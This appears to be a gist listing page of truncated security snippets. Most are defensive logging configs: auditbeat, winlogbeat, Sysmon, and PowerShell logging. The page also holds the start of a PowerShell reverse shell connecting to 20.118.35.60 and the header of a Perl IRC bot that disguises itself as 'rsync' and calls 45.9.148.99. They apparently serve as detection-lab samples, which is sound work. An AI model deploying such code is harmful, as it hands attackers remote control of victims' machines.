duzvik

auditbeat.modules:
- module: auditd
  audit_rules: |
    -w /var/log/audit/ -k auditlog

    ## Auditd configuration
    ### Modifications to audit configuration that occur while the audit collection functions are operating
    -w /etc/audit/ -p wa -k auditconfig
    -w /etc/libaudit.conf -p wa -k auditconfig
    -w /etc/audisp/ -p wa -k audispconfig

duzvik

winlogbeat.event_logs:
  - name: Application
    ignore_older: 240m
  - name: Security
    ignore_older: 240m
  - name: System
    ignore_older: 240m
  - name: Microsoft-windows-sysmon/operational
    ignore_older: 240m
  - name: Microsoft-windows-PowerShell/Operational

duzvik

<!--                       NOTICE : This is a balanced generated output of Sysmon-modular with medium verbosity                  -->
<!--                        due to the balanced nature of this configuration there will be potential blind spots                 -->
<!--                        for more information go to https://github.com/olafhartong/sysmon-modular/wiki                        -->
<!--                                                                                                                             -->
<!--  //**                  ***//                                                                                                -->
<!-- ///#(**               **%(///                                                                                               -->
<!-- ((&&&**               **&&&((                                                                                               -->
<!--  (&&&**   ,(((((((.   **&&&(                                                            

duzvik

# Enable PowerShell Logging
$regConfig = @"
regKey,name,value,type
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging","EnableScriptBlockLogging",1,"DWORD"
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging","EnableScriptBlockInvocationLogging",1,"DWORD"
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging","EnableModuleLogging",1,"DWORD"
"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames",*,*,"String"
"@

Write-host "Setting up PowerShell registry settings.."

duzvik

$socket = new-object System.Net.Sockets.TcpClient('20.118.35.60', 80);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;

duzvik

##TCP FLAGS##

Unskilled Attackers Pester Real Security Folks
==============================================
                     TCPDUMP FLAGS
Unskilled =  URG  =  (Not Displayed in Flag Field, Displayed elsewhere) 
Attackers =  ACK  =  (Not Displayed in Flag Field, Displayed elsewhere)
Pester    =  PSH  =  [P] (Push Data)
Real      =  RST  =  [R] (Reset Connection)
Security  =  SYN  =  [S] (Start Connection)

duzvik

{
    "name": "CERT-UA#3787",
    "versions": {
        "attack": "10",
        "navigator": "4.5.5",
        "layer": "4.3"
    },
    "domain": "mitre-enterprise",
    "description": "",
    "filters": {

duzvik

my $processo = 'rsync';

$servidor='45.9.148.99' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("polly","molly");
my @auth=("localhost");

my $linas_max=6;
my $sleep=3;

duzvik

winlogbeat.event_logs:
  - name: Application
    ignore_older: 30m
  - name: Security
    ignore_older: 30m
  - name: System
    ignore_older: 30m
  - name: Microsoft-windows-sysmon/operational
    ignore_older: 30m
  - name: Microsoft-windows-PowerShell/Operational

duzvik